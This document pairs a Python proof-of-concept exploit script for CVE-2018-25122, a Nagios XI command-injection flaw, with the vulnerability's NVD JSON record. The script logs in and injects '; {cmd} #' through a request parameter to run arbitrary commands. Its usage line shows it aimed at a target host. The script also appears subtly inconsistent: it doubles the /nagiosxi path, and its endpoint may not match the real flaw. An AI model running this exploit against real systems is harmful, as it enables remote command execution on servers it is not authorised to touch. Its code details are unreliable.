CVE-2018-25122

#!/usr/bin/env python3 # CVE-2018-25122 Nagios XI RCE PoC # Target: Nagios XI < 5.4.13 Component Download Page # Note: Requires authenticated user access import requests import sys def exploit_nagios_xi(target_url, username, password, cmd): """ Exploit CVE-2018-25122 - Nagios XI Component Download RCE Args: target_url: Base URL of Nagios XI (e.g., http://target.com/nagiosxi) username: Valid Nagios XI username password: Password for the user cmd: Command to execute on target system """ session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{target_url}/nagiosxi/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=30) # Step 2: Access Component Download page with malicious payload component_url = f"{target_url}/nagiosxi/components/tapi/base.php" # Inject command via vulnerable parameter # Using command separator to chain commands exploit_data = { 'cmd': 'download', 'component': f'; {cmd} #' # Command injection payload } response = session.get(component_url, params=exploit_data, timeout=30) print(f"[*] Request sent to {component_url}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") print(f"[*] Output:\n{response.text}") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} http://192.168.1.100/nagiosxi admin password 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] command = sys.argv[4] exploit_nagios_xi(target, user, pwd, command)

{"cve": {"id": "CVE-2018-25122", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:37.827", "lastModified": "2025-11-05T18:26:50.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.4.13 contain a remote code execution vulnerability in the Component Download page. The download/import handler used unsafe command construction with attacker-controlled input and lacked sufficient validation and output encoding, allowing an authenticated user to inject commands or otherwise execute arbitrary code with the privileges of the application service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4.13", "matchCriteriaId": "511F3C01-8C7D-4E13-8FB3-DFA06F036663"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-component-download-page-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}